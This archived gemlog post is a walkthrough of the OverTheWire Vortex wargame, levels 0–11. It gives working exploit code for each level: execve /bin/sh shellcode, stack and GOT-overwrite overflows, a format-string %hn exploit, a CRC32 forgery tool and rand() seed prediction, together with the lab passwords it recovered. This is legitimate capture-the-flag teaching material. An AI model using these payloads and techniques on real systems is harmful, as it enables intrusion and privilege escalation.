💾 Archived View for 0x80.org › gemlog › 2014-07-25-solving-overthewire.gmi captured on 2021-12-03 at 14:04:38. Gemini links have been rewritten to link to archived content

View Raw

More Information

-=-=-=-=-=-=-

Solving overthewire 0-11

This is going to be a long post or series of posts. I will be solving and documenting each solution of Vortex game at OvertheWire for fun [^.^]/

Level0

Your goal is to connect to port 5842 on vortex.labs.overthewire.org and read in 4 unsigned integers in host byte order. Add these integers together and send back the results to get a username and password for vortex1. This information can be used to log in using SSH.
Note: vortex is on an 32bit x86 machine (meaning, a little endian architecture)

When we connect we get

ze%us:l0/ # nc vortex.labs.overthewire.org 5842 | hexdump -C
00000000  8e 54 6b 5f bc fe 20 21  d0 b5 4b 34 b5 b8 75 1e  |.Tk_.. !..K4..u.|
^C

So we have to connect to it, get these 4 numbers add them togeather and send it back.

#!/usr/bin/env python2

import socket
import struct

def up(x): return struct.unpack("<I", x)
def p(x): return struct.pack("<I", x & 0xffffffff)
s = socket.socket()
s.connect(("vortex.labs.overthewire.org", 5842))
sum = 0
for i in range(4): sum += up(s.recv(4))[0]
s.send(str(p(sum)))
print s.recv(1024)
s.close()

and.

ze%us:l0/ # python2 e.py 
Username: vortex1 Password: Gq#qu3bF3

next...

Level1

We are looking for a specific value in ptr. You may need to consider how bash handles EOF..
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
        int i;

        printf("[ ");
        for(i=0; i < len; i++) printf("%x ", buf[i]); 
        printf(" ]\n");
}

int main()
{
        unsigned char buf[512];
        unsigned char *ptr = buf + (sizeof(buf)/2);
        unsigned int x;

        while((x = getchar()) != EOF) {
                switch(x) {
                        case '\n': print(buf, sizeof(buf)); continue; break;
                        case '\\': ptr--; break; 
                        default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
                }
        }
        printf("All done\n");
}

so what we have here ? buf an array of 512 bytes. ptr is buf+(512/2) so it's pointing to the middle of buf. Meaning ptr+256 is the end of buf which is buf+512, and ptr-256 is equals to buf ptr-256-4 is ptr itself :>. The way these variables are layed out in memory are (in order) ptr, x, and buf.

from IDA the main stack looks something like

-00000214 ptr             dd ?
-00000210 x               dd ?
-0000020C buf             db 512 dup(?)
-0000000C cookie          dd ?

so since ptr is at &buf[256] we need to decrement it by 256 then by 4 so it reaches itself and let it have 0xca...... so when this value is and'ed it will results in 0xca00000000

vortex1@melinda:XXX$ python -c 'print "\\"*261+"\xca"*4096+";cat /etc/vortex_pass/vortex2"' | /vortex/vortex1 
sh: 1:  File name too long
23anbT\rE

next

Level2

Create a special tar file
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>


int main(int argc, char **argv)
{
        char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$.tar", argv[1], argv[2], argv[3] };
        execv(args[0], args);
}

this takes argv[1-3] as files to be added to /tmp/ownership.$.tar note here that "$" is a special shell character that converts to the process pid you have to not use the special character by adding the backslash to not make it evaluate to the process pid.

vortex2@melinda:XXX$ cp "/tmp/ownership.\$.tar" . && tar xvf ownership.\$\$.tar && cat etc/vortex_pass/vortex3 
etc/vortex_pass/vortex3
64ncXTvx#

next

Level3

This level is pretty straight forward. Just sit down and understand what the code is doing. Your shellcode will require a setuid(LEVEL4_UID) since bash drops effective privileges. You could alternatively write a quick setuid(geteuid()) wrapper around bash.
NOTE: ctors/dtors might no longer be writable, although this level is compiled with -Wl,-z,norelro.
/*
 * 0xbadc0ded.org Challenge #02 (2003-07-08)
 *
 * Joel Eriksson je@0xbadc0ded.org
 */

#include <string.h>
#include <stdlib.h>
#include <stdio.h>

unsigned long val = 31337;
unsigned long *lp = &val;

int main(int argc, char **argv)
{
        unsigned long **lpp = &lp, *tmp;
        char buf[128];

        if (argc != 2)
                exit(1);

        strcpy(buf, argv[1]);

        if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
                exit(2);

        tmp = *lpp;
        **lpp = (unsigned long) &buf;
        // *lpp = tmp; // Fix suggested by Michael Weissbacher @mweissbacher 2013-06-30

        exit(0);
}

so we need to make lpp to be an address in 0x0804XXXX since otherwise it will catch this and exit before it does what we want. Next we want it to contain something that can be dereferenced, so what's something in 0x0804XXXX that can be useful and will let us control eip ? It's exit@got.plt :)

let us see how that last exit in main is called.

.text:08048479 E8 A2 FE FF FF                          call    _exit

follow it it'll take you to

.plt:08048320 ; void exit(int status)
.plt:08048320  _exit proc near  ; CODE XREF: main+24p
.plt:08048320  ; main+5Ap ...
.plt:08048320 FF 25 38 97 04 08 jmp     ds:off_8049738
.plt:08048320 _exit           endp

so if we use 0x08048320+2 we'll have something in 0x0804XXXX pointing to 0x08049738 which is exit@got.plt. so if *llp=0x08048320 then **llp=&buf will set the exit@got.plt to &buf meaning that when call exit happens it will jmp to buf[0]... and

vortex3@melinda:~$ /vortex/vortex3 "$(python2 -c 'sh="\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";print "\x90"*(128-len(sh))+sh+"\x22\x83\x04\x08"*30')"                  
$ id
uid=5003(vortex3) gid=5003(vortex3) euid=5004(vortex4) groups=5004(vortex4),5003(vortex3)
$ cat /etc/vortex_pass/vortex4
2YmgK1=jw

Level4

This is the common format string bug, exploit it with care though as a check is made with argc. What is the layout of a process’s memory? How are programs executed?
// -- andrewg, original author was zen-parse :)
#include <stdlib.h>


int main(int argc, char **argv)
{
        if(argc) exit(0);
        printf(argv[3]);
        exit(EXIT_FAILURE);
}

This is a format string vulnerability. It has a small trick at the beginning it says that if you input any arguments then you fail! but you have to enter argv[3] so how is that possible ?

looking at the main stack looks something like

+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 argc            dd ?
+0000000C argv            dd ?     ; offset
+00000010 envp            dd ?     ; offset

So if we execute the binary passing it argv = {NULL} then it'll use envp instead :), so let us write a wrapper around it.

#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {
        if(argc != 2) return -1;
        char *envp[] = {"", "", argv[1], NULL};
        char *const args[] = {NULL};
        return execve("/vortex/vortex4", args, envp);
}

this runs the level passing it {NULL} arguments thus argc == 0 and it won't exit, and we reach envp where it will use envp instead. now we just pass format string stuff to it. Our plan is to overwrite exit@got.plt so we need it's address.

.got.plt:0804A008 off_804A008     dd offset exit          ; DATA XREF: _exitr

we need to write on 0x0804a008 and 0x0804a008+2 our address in two parts. First part will contain the first part of our address, and the second part will contain the second part of our address. We first need to find offsets to a controlable place so we can put these two addresses there, and write on them our address.

vortex4@melinda:XXX$ ./exec "$(python -c 'print "\x41"*(4*64)+"\x42"*(4*64)+"%134$.8x"+"%200$.8x"')"
AAAAAAAAAAAABBBBBBBBBBBB......etc4241414142424242

so we find that our AAAA's at offset 134 and our BBBB's at offset 200 we set those to the exit got address. Then we set A to exit@got.plt and B to exit@got.plt+2 then we write A with 0xffff and B with 0x0ee0 for example or whatever we have our data. Then we add a huge payload since size doesn't matter.

we write using $hn holder. For eg: want to write 0x1111 at B then 0x1111-length(whatever we have already written). Then if we want to write 0xeeee at A then 0xeeee-"whatever in the second part" here is approximatly is B's value. To calculate them accureatly and faster just look at the debugger and get the exact values if you have made a mistake in B or A. Here we will use %03296x%134$hn which says write 03296 bytes at 134 which is A, and write %00000061727x%200$hn 61727 bytes at 200 which is B. I added those trailing zeros to help me align the stack so I get the right A, and B, because any changes in the stack will mostyl affect the alignment

vortex4@melinda:XXXX$ ./exec "$(python -c 'print "\x08\xa0\x04\x08"*64+"\x0a\xa0\x04\x08"*64+"%03296x%134$hn%00000061727x%200$hn"+"\x90"*0xffe0+"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"')"

0000......<snip>
$ id
uid=5004(vortex4) gid=5004(vortex4) euid=5005(vortex5) groups=5005(vortex5),5004(vortex4)
$ cat /etc/vortex_pass/vortex5
:4VtbC4lr

next..

Level5

A password is required for the next level. vortex5.c and md5.h. a-z,A-Z,0-9 is the search space. The password length is 5 chars long, it was originally 7 chars long.
Collision(s) tested : 489265082 in 217 second(s), 361 millisec, 101 microsec.
Average of 2250932.1 hashes/sec.
/* A tribute to arc :) */
<snip....>
int main(int argc, char **argv)
{
        unsigned char buf[16];
        MD5Context a;

        char *x;
        x = getpass("Password: ");
        printf("%c:%02x\n", x[strlen(x)-1], x[strlen(x) -1]);
        MD5Init(&a);
        MD5Update(&a, x, strlen(x));
        MD5Final(buf, &a);

        if(memcmp(buf, "\x15\x5f\xb9\x5d\x04\x28\x7b\x75\x7c\x99\x6d\x77\xb5\xea\x51\xf7", 16) == 0){
                printf("You got the right password, congrats!\n");
                setresgid(getegid(), getegid(), getegid());
                setresuid(geteuid(), geteuid(), geteuid());
                system("/bin/sh");
        } else {
                usleep(500);
                printf("Incorrect password\n");
        }
        exit(0);
}

This one is pretty simple just bruteforce the hash above 155fb95d04287b757c996d77b5ea51f7 result is rlTf6

vortex5@melinda:~$ /vortex/vortex5
Password: 
6:36
You got the right password, congrats!
$ cat /etc/vortex_pass/vortex6


Level6

We are provided with a binary file Vortex6[1]. We open it and get.

1: http://overthewire.org/wargames/vortex/vortex6.bin

.text:08048446 ; int __cdecl __noreturn main(int argc, char **argv, char **envp)
.text:08048446         public main
.text:08048446 main    proc near ; DATAXREF:_start+17o
.text:08048446
.text:08048446 argc            = dword ptr  8
.text:08048446 argv            = dword ptr  0Ch
.text:08048446 envp            = dword ptr  10h
.text:08048446
.text:08048446         push    ebp
.text:08048447         mov     ebp, esp
.text:08048449         and     esp, 0FFFFFFF0h
.text:0804844C         sub     esp, 10h
.text:0804844F         mov     eax, [ebp+envp]
.text:08048452         mov     eax, [eax]
.text:08048454         test    eax, eax
.text:08048456         jz      short print
.text:08048458         mov     eax, [ebp+argv]
.text:0804845B         mov     eax, [eax]
.text:0804845D         mov     [esp], eax ; file
.text:08048460         call    restart
.text:08048465
.text:08048465 print: ; CODE XREF: main+10j
.text:08048465         mov     eax, [ebp+envp]
.text:08048468         add     eax, 0Ch
.text:0804846B         mov     eax, [eax]
.text:0804846D         mov     [esp], eax ;format
.text:08048470         call    _printf
.text:08048475         mov dword ptr [esp], 7325h ;status
.text:0804847C         call    __exit
.text:0804847C main    endp

Translating this to C will be

int __cdecl __noreturn main(int argc, char **argv, char **envp) {
  if ( *envp )
    restart(*argv);
  printf(envp[3]);
  _exit(0x7325);
}

so if we have envp then restart(). which looks like

int __cdecl restart(char *file) {
  return execlp(file, file, 0);
}

we control argv[0] so we can execute any command. We need to have envp and set argv[0] to the file we want to run.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define TMPF "XXX"
int main() {
        char *envp[] = {"", NULL};
        char *args[] = {TMPF, NULL};
        execve("/vortex/vortex6", args, envp);
}
vortex6@melinda:XXX$ gcc e.c -o e -m32 && ln -s /bin/sh exec && ./e
$ id
uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6)
$ cat /etc/vortex_pass/vortex7
Y52jxHtt/
$ 

next

Level 7

This level requires CRC_32(argv[1], strlen(argv[1])) to be 0xe1ca95ee. You might need to extract the crc tables from the program.
int main(int argc, char **argv)
{
        char buf[58];
        u_int32_t hi;
        if((hi = crc32(0, argv[1], strlen(argv[1]))) == 0xe1ca95ee) {
                strcpy(buf, argv[1]);
        } else {
                printf("0x%08x\n", hi);
        }
}

I hoped for this not to be an actual crc32 because I don't like reversing crypto, but it was.So first we dump the crc32 table from the binary it's a 256 bytes array it contains the table used to do the crc calculation at the binary it's at 0x080485E0 we reverse the crc32 algorithim which has the following assembly

.text:08048422 compute_crc:        ; CODE XREF: crc32+3Dj
.text:08048422 mov     eax, [ebp+str]
.text:08048425 movzx   eax, byte ptr [eax]
.text:08048428 movzx   eax, al
.text:0804842B xor     eax, [ebp+accu]
.text:0804842E and     eax, 0FFh
.text:08048433 mov     eax, ds:crc32_table[eax*4]
.text:0804843A mov     edx, [ebp+accu]
.text:0804843D shr     edx, 8
.text:08048440 xor     eax, edx
.text:08048442 mov     [ebp+accu], eax
.text:08048445 add     [ebp+str], 1
.text:08048449
.text:08048449 check_str_len:      ; CODE XREF: crc32+Cj
.text:08048449 sub     [ebp+str_len], 1
.text:0804844D cmp     [ebp+str_len], 0
.text:08048451 jns     short compute_crc
.text:08048453 mov     eax, [ebp+accu]
.text:08048456 leave
.text:08048457 retn
.text:08048457 crc32 endp

in c it looks something like

uint32_t crc32(uint32_t accu, char *from, int idx)
{
	char *str;
	for (str = from; idx > 0; str++, --idx) {
		uint8_t crc32_entry = accu ^ *str;
		accu = (accu >> 8) ^ crc32_table[crc32_entry];
	}
	return accu;
}

we make sure it gives us same values as in the binary. Now I have spent some time reading on reversing crc32 as I haven't dealt with this before and it's not that complicated. What we need is "kindof" derive the actual values of the current crc32 then we calculate a new crc32 and create a value that if appended in the bytestream it will make the crc32 equals what we wanted. Thus we can inject extra data in the bytestream and adding our pad that will cause the crc to be the same. If we do that we reach the strcpy function in main and we can overflow buf, ...etc So how we do this ? instead of rephrasing what others said I'll just quote anarchriz[2] post about the subject.

2: http://www.woodmann.com/fravia/crctut1.htm

Take for CRC register before, a3 a2 a1 a0 -> AB CD EF 66
Take for CRC register after, f3 f2 f1 f0 -> 56 33 14 78 (wanted value)
Here we go:
First byte of entries entry value
e3=f3 =56 -> 35h=(4) 56B3C423 for e3 e2 e1 e0
d3=f2+e2 =33+B3 =E6 -> 4Fh=(3) E6635C01 for d3 d2 d1 d0
c3=f1+e1+d2 =14+C4+63 =B3 -> F8h=(2) B3667A2E for c3 c2 c1 c0
b3=f0+e0+d1+c2=78+23+5C+66=61 -> DEh=(1) 616BFFD3 for b3 b2 b1 b0
Now we have all needed values, then
X=(1)+ a0= DE+66=B8
Y=(2)+ b0+a1= F8+D3+EF=C4
Z=(3)+ c0+b1+a2= 4F+2E+FF+CD=53
W=(4)+d0+c1+b2+a3=35+01+7A+6B+AB=8E
(final computation)
Conclusion: to change the CRC-32 register from ABCDEF66 to 56331478 we need
this sequence of bytes: B8 C4 53 8E

let us continue, we write the code that does all this, which is

#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <assert.h>

uint32_t crc32_table[256] = {
	0,
	1996959894,
	3993919788,
	2567524794,
	124634137,
	1886057615,
	3915621685,
	2657392035,
	249268274,
	2044508324,
	3772115230,
	2547177864,
	162941995,
	2125561021,
	3887607047,
	2428444049,
	498536548,
	1789927666,
	4089016648,
	2227061214,
	450548861,
	1843258603,
	4107580753,
	2211677639,
	325883990,
	1684777152,
	4251122042,
	2321926636,
	335633487,
	1661365465,
	4195302755,
	2366115317,
	997073096,
	1281953886,
	3579855332,
	2724688242,
	1006888145,
	1258607687,
	3524101629,
	2768942443,
	901097722,
	1119000684,
	3686517206,
	2898065728,
	853044451,
	1172266101,
	3705015759,
	2882616665,
	651767980,
	1373503546,
	3369554304,
	3218104598,
	565507253,
	1454621731,
	3485111705,
	3099436303,
	671266974,
	1594198024,
	3322730930,
	2970347812,
	795835527,
	1483230225,
	3244367275,
	3060149565,
	1994146192,
	31158534,
	2563907772,
	4023717930,
	1907459465,
	112637215,
	2680153253,
	3904427059,
	2013776290,
	251722036,
	2517215374,
	3775830040,
	2137656763,
	141376813,
	2439277719,
	3865271297,
	1802195444,
	476864866,
	2238001368,
	4066508878,
	1812370925,
	453092731,
	2181625025,
	4111451223,
	1706088902,
	314042704,
	2344532202,
	4240017532,
	1658658271,
	366619977,
	2362670323,
	4224994405,
	1303535960,
	984961486,
	2747007092,
	3569037538,
	1256170817,
	1037604311,
	2765210733,
	3554079995,
	1131014506,
	879679996,
	2909243462,
	3663771856,
	1141124467,
	855842277,
	2852801631,
	3708648649,
	1342533948,
	654459306,
	3188396048,
	3373015174,
	1466479909,
	544179635,
	3110523913,
	3462522015,
	1591671054,
	702138776,
	2966460450,
	3352799412,
	1504918807,
	783551873,
	3082640443,
	3233442989,
	3988292384,
	2596254646,
	62317068,
	1957810842,
	3939845945,
	2647816111,
	81470997,
	1943803523,
	3814918930,
	2489596804,
	225274430,
	2053790376,
	3826175755,
	2466906013,
	167816743,
	2097651377,
	4027552580,
	2265490386,
	503444072,
	1762050814,
	4150417245,
	2154129355,
	426522225,
	1852507879,
	4275313526,
	2312317920,
	282753626,
	1742555852,
	4189708143,
	2394877945,
	397917763,
	1622183637,
	3604390888,
	2714866558,
	953729732,
	1340076626,
	3518719985,
	2797360999,
	1068828381,
	1219638859,
	3624741850,
	2936675148,
	906185462,
	1090812512,
	3747672003,
	2825379669,
	829329135,
	1181335161,
	3412177804,
	3160834842,
	628085408,
	1382605366,
	3423369109,
	3138078467,
	570562233,
	1426400815,
	3317316542,
	2998733608,
	733239954,
	1555261956,
	3268935591,
	3050360625,
	752459403,
	1541320221,
	2607071920,
	3965973030,
	1969922972,
	40735498,
	2617837225,
	3943577151,
	1913087877,
	83908371,
	2512341634,
	3803740692,
	2075208622,
	213261112,
	2463272603,
	3855990285,
	2094854071,
	198958881,
	2262029012,
	4057260610,
	1759359992,
	534414190,
	2176718541,
	4139329115,
	1873836001,
	414664567,
	2282248934,
	4279200368,
	1711684554,
	285281116,
	2405801727,
	4167216745,
	1634467795,
	376229701,
	2685067896,
	3608007406,
	1308918612,
	956543938,
	2808555105,
	3495958263,
	1231636301,
	1047427035,
	2932959818,
	3654703836,
	1088359270,
	936918000,
	2847714899,
	3736837829,
	1202900863,
	817233897,
	3183342108,
	3401237130,
	1404277552,
	615818150,
	3134207493,
	3453421203,
	1423857449,
	601450431,
	3009837614,
	3294710456,
	1567103746,
	711928724,
	3020668471,
	3272380065,
	1510334235,
	755167117
};

uint32_t crc32(uint32_t accu, char *from, int idx);
uint8_t eb(uint32_t s, int i);
uint32_t fe(uint8_t b);

int main(int argc, char **argv)
{
	uint32_t tr_seed;
	uint32_t in_seed;
	uint32_t pad;
	uint8_t t[3];
	uint8_t t_idx[3];
	int i;
	unsigned char *evil_crc;
	int evil_len;

	if (argc != 2) {
		return -1;
	}

	tr_seed = 0xee95cae1;
	in_seed = crc32(0, argv[1], strlen(argv[1]));
	evil_len = strlen(argv[1]);

	// top bytes
	t[0] = eb(tr_seed, 3);
	t[1] = eb(tr_seed, 2);
	t[2] = eb(tr_seed, 1);
	t[3] = eb(tr_seed, 0);

	// Calculating necessary indexes for reversing crc32
	t_idx[0] = fe(t[3]);
	t_idx[1] = fe(t[2] ^ eb(crc32_table[t_idx[0]], 2));
	t_idx[2] = fe(t[1] ^ eb(crc32_table[t_idx[0]], 1) ^
	           eb(crc32_table[t_idx[1]], 2));
	t_idx[3] = fe(t[0] ^ eb(crc32_table[t_idx[0]], 0) ^
	           eb(crc32_table[t_idx[1]], 1) ^
                   eb(crc32_table[t_idx[2]], 2));
	// pad needed to set crc32 to tr_seed
	pad = ((t_idx[3] ^ eb(in_seed, 0)) << 24) +
	      ((t_idx[2] ^ eb(in_seed, 1) ^
                eb(crc32_table[t_idx[3]], 0)) << 16) +
	      ((t_idx[1] ^ eb(in_seed, 2) ^
                  eb(crc32_table[t_idx[3]], 1) ^
	          eb(crc32_table[t_idx[2]], 0)) << 8) +
              ((t_idx[0] ^ eb(in_seed,3) ^
                eb(crc32_table[t_idx[3]],2) ^
                eb(crc32_table[t_idx[2]],1) ^
                eb(crc32_table[t_idx[1]],0)));

	evil_crc = calloc(evil_len + 4 + 1, sizeof(char *));
	if (evil_crc == NULL)
		return -1;
	strncpy(evil_crc, argv[1], evil_len);
	evil_crc[evil_len++] = eb(pad, 3);
	evil_crc[evil_len++] = eb(pad, 2);
	evil_crc[evil_len++] = eb(pad, 1);
	evil_crc[evil_len++] = eb(pad, 0);
	evil_crc[evil_len] = '\0';
	assert(crc32(0, evil_crc, evil_len) == 0xe1ca95ee);

	for(i=0;i<=evil_len;i++)
            printf("%c",evil_crc[i]);

	free(evil_crc);
	return 0;
}

uint32_t crc32(uint32_t accu, char *from, int idx) {
	char *str;
	for (str = from; idx > 0; str++, --idx) {
		uint8_t crc32_entry = accu ^ *str;
		accu = (accu >> 8) ^ crc32_table[crc32_entry];
	}
	return accu;
}

uint8_t eb(uint32_t s, int i)  {
	return s >> (i * 8) & 0xff;
}

uint32_t fe(uint8_t b) {
	int i;
	for (i = 0; i < 256; i++) {
		if (eb(crc32_table[i], 3) == b)
			return i;
	}
	return -1;
}

then we overwrite eip and find where our shellcode is at...

vortex7@melinda:XXX$ gcc e.c -o e -m32
vortex7@melinda:XXX$ gdb -q /vortex/vortex7
Reading symbols from /games/vortex/vortex7...(no debugging symbols found)...done.
(gdb) r "$(./e "$(python -c 'print "\x41"*74+"\x11"*4')")"
Starting program: /games/vortex/vortex7 "$(./e "$(python -c 'print "\x41"*74+"\x11"*4')")"

Program received signal SIGSEGV, Segmentation fault.
0x11111111 in ?? ()
(gdb) x/100x $esp
....etc
0xffffd8c0:     0x41414141      0x41414141      0x41414141      0x41414141
...etc
vortex7@melinda:XXX$ /vortex/vortex7 "$(./e "$(python -c 'print "\xcc"*74+"\xa0\xd8\xff\xff"')")"
Trace/breakpoint trap
vortex7@melinda:XXX$ /vortex/vortex7 "$(./e "$(python -c 'sh="\x90\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";print sh+"\x90"*(74-len(sh))+"\x9f\xd8\xff\xff"*4')")"
$ id
uid=5007(vortex7) gid=5007(vortex7) euid=5008(vortex8) groups=5008(vortex8),5007(vortex7)
$ cat /etc/vortex_pass/vortex8
X70A_gcgl
$

next..

Level8

Disassemble this dynamically linked executable.

A binary file is provided here[3] we get the file and disassemble it. Which after reversing the file it looks like

3: http://overthewire.org/wargames/vortex/vortex8.bin

int __cdecl main(int argc, char **argv, const char **envp) {
  __gid_t v3,v4,v5;
  __uid_t v6,v7,v8;
  pthread_t thread;

  pthread_create(&thread, 0, (void *(*)(void *))safecode, 0);
  v3 = v4 = v6 = getgid();
  syscall(SYS_setresgid, v5, v4, v3);
  v6 = v7 = v8 = getuid();
  syscall(SYS_setresuid, v8, v7, v6);
  unsafecode(argv[1]);
  return 0;
}

char *__cdecl unsafecode(char *src) {
  char dest; // [sp+10h] [bp-408h]@1
  return strcpy(&dest, src);
}

void __cdecl __noreturn safecode() {
  while ( 1 ) {
    printf("%d\n", 0);
    fflush(stdout);
    sleep(1u);
  }
}

so when this runs it will create a thread that loops and prints 0 every second, flushes stdout, and sleeps for 1u, in the main thread it will SYS_setresgid() the current GID, and SYS_setresuid() the current UID. Then goes into unsafecode() which is a stack overflow. This shows two things. That the thread is running in a different uid than the one executing before it ran before resetting gid, and uid. Thus our attack should be targeted to the thread. When we look at the thread, safecode() we see that it uses printf, fflush, and sleep functions those which execute in a forever loop. We can attack those functions to control the execution getting a shell in the first thread context meaning getting execution for the targeted uid,gid we want to go to the next level.

First we determine what we can write to and what we control.

(gdb) r "$(python -c 'print "\x41"*1032+"\x22"*4+"\x11"*4')"
....
(gdb) i r ebp eip
ebp            0x22222222       0x22222222
esp            0xffffd2f0       0xffffd2f0
eip            0x11111111       0x11111111

then we find our 0x41's at the stack somewhere near 0xffffd541 so what I'm thinking of is jumping there were we will have a shellcode that will overwrite got.plt of fflush, so the not so safe thread will jump to a controlled place when it calls fflush

.got.plt:0804A00C off_804A00C dd offset fflush

this is the first shellcode that does this.

SECTION .text
global main
main:
        mov eax, 0x0804a006 ; fflush@got.plt
        mov ebx, 0xffffd7f4 ; second payload address
                            ; in stack
        mov [eax], ebx      ; overwrite fflush@got.plt
                            ; with second shellcode addr
sleeper:
        xor eax, eax        ; set eax to 0x0000ffff
        inc eax             ; 
        not ax
        push eax           ; push it
        mov ebx, 0x8048490 ; sleeping function
        call ebx           ; call sleep((int)0xffff)

then we processed with something similar to

[0x90s][overwrite fflush got sh][0x90s][/bin/sh]

after the overwriting of fflush@got.plt with an address pointing to the second nops the main thread will call /bin/sh shellcode when it executes fflush.

vortex8@melinda:XXX$ /vortex/vortex8 "$(python -c 'sha="\xb8\x04\xa0\x04\x08\xbb\xf4\xd7\xff\xff\x89\x18\x31\xc0\x40\x66\xf7\xd0\x50\xbb\x90\x84\x04\x08\xff\xd3";shb="\x90\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";print "\x90"*(516-len(sha))+sha+"\x90"*(516-len(shb))+shb+"\x22"*4+"\x40\xd5\xff\xff"')"                                                                        
0
$ id  
uid=5008(vortex8) gid=5008(vortex8) euid=5009(vortex9) groups=5009(vortex9),5008(vortex8)
$ cat /etc/vortex_pass/vortex9
ci41)GJhb
$ exit

next..

Level9

This one was pretty simple, password is at /var/mail/vortex9

Level10

Read in 20 integers and write the seed used to generate those numbers in unsigned little endian format. You have a time limit of 30 seconds to do this. You must login to vortex.labs.overthewire.org

After connecting I found a binary scp'd it and started reverse engineering it.

image

this is how main looks like. So we need to find the actual seed to win, but we only given 10 random numbers, and 30 seconds to enter the seed :). This 30 second is enough I guess. Let us look at how the seed is generated.

.text:08048674 push    ebp
.text:08048675 mov     ebp, esp
.text:08048677 push    esi
.text:08048678 push    ebx
.text:08048679 and     esp, 0FFFFFFF0h
.text:0804867C add     esp, 0FFFFFF80h
.text:0804867F lea     eax, [esp+60h]
.text:08048683 mov     [esp], eax      ; buffer
.text:08048686 call    _times
.text:0804868B mov     [esp+78h], eax
.text:0804868F mov     edx, [esp+60h]
.text:08048693 mov     eax, [esp+64h]
.text:08048697 add     edx, eax
.text:08048699 mov     eax, [esp+68h]
.text:0804869D add     edx, eax
.text:0804869F mov     eax, [esp+6Ch]
.text:080486A3 add     eax, edx
.text:080486A5 add     [esp+78h], eax
.text:080486A9 call    _clock
.text:080486AE add     [esp+78h], eax
.text:080486B2 mov     dword ptr [esp], 0 ; timer
.text:080486B9 call    _time
.text:080486BE add     [esp+78h], eax
.text:080486C2 mov     eax, [esp+78h]
.text:080486C6 mov     edx, eax
.text:080486C8 sar     edx, 1Fh
.text:080486CB shr     edx, 18h
.text:080486CE add     eax, edx
.text:080486D0 and     eax, 0FFh
.text:080486D5 sub     eax, edx
.text:080486D7 mov     edx, 80h
.text:080486DC mov     ecx, edx
.text:080486DE sub     ecx, eax
.text:080486E0 mov     eax, ecx
.text:080486E2 mov     [esp+78h], eax
.text:080486E6 mov     dword ptr [esp], 0 ; timer
.text:080486ED call    _time
.text:080486F2 add     eax, [esp+78h]
.text:080486F6 mov     [esp+7Ch], eax
.text:080486FA mov     eax, [esp+7Ch]
.text:080486FE mov     [esp], eax      ; seed
.text:08048701 call    _srand

So the seed actually is something like the following

    clkticks = times(&time_buf);
    a = 0 + 0 + time_buf.tms_utime + 0 + clkticks;
    a += clock();
    a += time(NULL);
    a = 128 - ((uint8_t)(((uint32_t)(a >> 31) >>24) + a) - ((uint32_t)(a>>31) >>24));
    seed = a + time(NULL);

So seed is time in seconds since Epoch 1970-01-01 00000...etc plus a. Here a is a value bounded in [-128,128]. To find the seed we need to use this information. We generate a list of seeds [-128,128]+time(NULL); That's 256 seeds. Second thing is the generated sequenceses aren't from the beginning of the random stream. It's from [0,(positive)a]. So we need also to take care of this.

First we create a wrapper that will print time(NULL) and execute vortex10 so we know the value used for seed.

int main() {
  printf("%x\n", time(NULL));
  execlp("/vortex/vortex10", "vortex10", NULL);
}

then we write the exploit

#define E(S,I) (S >> (I*8) & 0xff)

uint32_t main() {
    int leaked_seed, first, i, j;
    char buf[4] = {0};
    scanf("%x %x", &leaked_seed, &first);

    for(i=-256;i!=256;i++) {
      srand(leaked_seed+i);
      for(j=0;j<256;j++) {
        if(first == rand()) {
          int sol = leaked_seed+i;
          buf[0] = E(sol, 0);
          buf[1] = E(sol, 1);
          buf[2] = E(sol, 2);
          buf[3] = E(sol, 3);
          printf("%c%c%c%c", buf[0], buf[1], buf[2], buf[3]);
          sleep(1);
          printf("cat /etc/vortex_pass/vortex11");
          return 0;
        }
      }
    }

    return -1;
}

This will read the leaked seed from the wrapper, and the first random value. Then try to find the a value that was added to the leaked seed if such value is found then we use leaked_seed+a as the seed that was used by the level.

vortex10@melinda:XXX$ mkfifo in
vortex10@melinda:XXX$ cat in | ./wrapper &
[1] 28144
vortex10@melinda:XXX$ 53d0ce19
[ 55abfad3, 0fc2c0f2, 6837546d, 43cf859b, 2f95a69b, 1baa562d, 1a94fc48, 13a29fd5, 28ab2623, 0a4a4048, 4edb5f06, 3c1a5863, 096e13b9, 74f4d5fe, 5157039c, 75270123, 15f029a8, 6774f068, 49fd2d18, 16bbf51b,]

vortex10@melinda:XXX$ ./e <<< "53d0ce19 55abfad3" > in
vortex10@melinda:XXX$ fg
cat in | ./wrapper
$ %8sLEszy9

next

Level11

You must corrupt the heap in order to gain arbitrary control of this program. Do recall, the application is using phkmalloc.
#include <stdio.h>
#include <string.h>


int main(int argc, char **argv) {
        char *p;
        char *q;
        char *r;
        char *s;
        if (argc < 3)
        {
                exit(0);
        }
        p = (char *) malloc(0x800);
        q = (char *) malloc(0x10);
        r = (char *) malloc(0x800);
        strcpy(r , argv[1]);
        s = (char *) malloc(0x10);
        strncpy(s , argv[2], 0xf);
        exit(0);
}

The malloc here uses phkmalloc an implementation written by Poul-Henning Kamp for Freebsd. We compile this in our machine break at exit and try to gather information about it.

gdb-peda$ pattern_arg 2048 16
Set 2 arguments to program
gdb-peda$ r
Breakpoint 1, main (argc=0x3, argv=0xffffc334) at vortex11.c:20
20              exit(0);
